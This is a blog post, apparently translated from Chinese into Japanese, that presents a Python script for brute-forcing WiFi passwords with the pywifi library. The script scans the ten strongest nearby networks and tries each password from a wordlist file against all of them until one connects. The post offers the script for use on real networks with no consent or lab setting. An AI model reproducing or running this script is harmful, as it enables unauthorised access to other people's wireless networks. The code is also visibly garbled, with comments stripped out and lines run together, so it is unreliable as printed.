python WiFi暴力解読ウィジェット

10200 ワード

考え方:
1、最初の10個の信号の最も良いwifiをスキャンして、ssidを得る
2、それから1つのパスワードで、すべてのssidを遍歴して、接続できるかどうかを試します
3、パスワードが正しく接続されていると、プログラムを終了するとエラーが発生します.そうしないと、ずっと実行されます.
4、このスクリプトは最適化されておらず、実行時にバグが発生する可能性がある
5、時間は2~3秒程度でssidをスキャンし、コンピュータによっては修正できますが、時間間隔が短すぎるとエラーが発生します.例えば、正しいパスワードは時間が短すぎるためエラーとみなされます.
このブログは、pythonがワイヤレスwifiを解読することを勉強して、自分のニーズに合わせて拡張して書き換えたもので、皆さんはこの大神のブログを学ぶことができます.
実行時の現象:
# coding:utf-8 import time  #   import pywifi  #  wifi from pywifi import const  #       from asyncio.tasks import sleep

class PoJie():
    def __init__(self,path):
        self.file=open(path,"r",errors="ignore")
        wifi = pywifi.PyWiFi() #        self.iface = wifi.interfaces()[0]#           self.iface.disconnect() #            time.sleep(1) #  1   self.list=self.initialssidnamelist()

        #             ,  assert self.iface.status() in\
            [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
    def bies(self):
        self.iface.scan()  #     bessis = self.iface.scan_results()
        list = []
        for data in bessis:
            list.append((data.ssid, data.signal))
        return len(list), sorted(list, key=lambda st: st[1], reverse=True)
    def getsignal(self):
        while True:
            n, data = self.bies()
            time.sleep(1)
            if n is not 0:
                return data[0:10]
    def initialssidnamelist(self):
        ssidlist = self.getsignal()
        namelist = []
        for item in ssidlist:
            namelist.append(item[0])
        return namelist

    def readPassWord(self,ssidname,myStr):

        bool1=self.test_connect(myStr,ssidname)
        if len(myStr)<8:
            return False  if bool1:
            print("  +++++++++++++  :"+myStr+" "+ssidname)
            return True  else:
            print("    :"+myStr+" "+ssidname)
            return False    def test_connect(self,findStr,ssidname):#       profile = pywifi.Profile()  #  wifi      profile.ssid =ssidname #wifi    # profile.ssid ="Netcore" #wifi    profile.auth = const.AUTH_ALG_OPEN  #     ,  profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi      profile.cipher = const.CIPHER_TYPE_CCMP    #      profile.key = findStr #     self.iface.remove_all_network_profiles() #     wifi    tmp_profile = self.iface.add_network_profile(profile)#          self.iface.connect(tmp_profile)#    time.sleep(2)
        if self.iface.status() == const.IFACE_CONNECTED:  #         isOK=True  else:
            isOK=False  self.iface.disconnect() #    time.sleep(1)
        #        assert self.iface.status() in\
            [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
        return isOK

    def run(self):

        while True:
            myStr = self.file.readline()
            for ssidname in self.list:
                ret=self.readPassWord(ssidname,myStr)

                if ret:
                    raise FileExistsError
    def __del__(self):
        self.file.close()
path=r"G:\DownLoad\6000      .txt" start=PoJie(path)
start.run()